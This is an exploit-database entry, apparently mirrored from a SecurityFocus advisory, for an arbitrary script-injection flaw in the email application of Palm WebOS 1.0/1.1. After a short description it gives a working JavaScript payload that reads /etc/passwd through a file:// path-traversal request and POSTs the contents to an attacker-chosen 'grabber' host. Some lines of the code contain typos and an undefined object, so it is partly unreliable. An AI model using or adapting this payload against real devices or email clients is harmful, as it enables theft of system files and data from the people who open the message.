Palm WebOS 1.0/1.1 - Email Arbitrary Script Injection
Author: Townsend Ladd Harris
type: remote
platform: hardware
port:
date_added: 2009-10-05
date_updated: 2014-05-09
verified: 1
codes:
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/36592/info
Palm WebOS is prone to an arbitrary-script-injection vulnerability because the integrated email application fails to properly sanitize user-supplied input.
An attacker can exploit this issue to execute arbitrary script code. Successful exploits can compromise the application.
Versions prior to WebOS 1.2 are vulnerable.
<script>
var getdata = null;
get = new XMLHttpRequest();
get.open('GET', "file://../../../../../../../../../etc/passwd");
get.send("");
get.onreadystatechange = function() {
if (get.readyState == 4) {
getdata = get.responseText;
POST(getdata);
}
}
function POST (egg) {
post = new XMLHttpRequest();
var strResult;
//Edit WEBSITE_OF_CHOICE for Grabber
post.open('POST', "WEBSITE_OF_CHOICE",false);
post.setRequestHeader('Conetnt-Type','application/x-www-form-urlencoded');
post.send(egg);
get.send("");
post = null;
strResult = objHTTP.tesponseTetxt;
}
</script>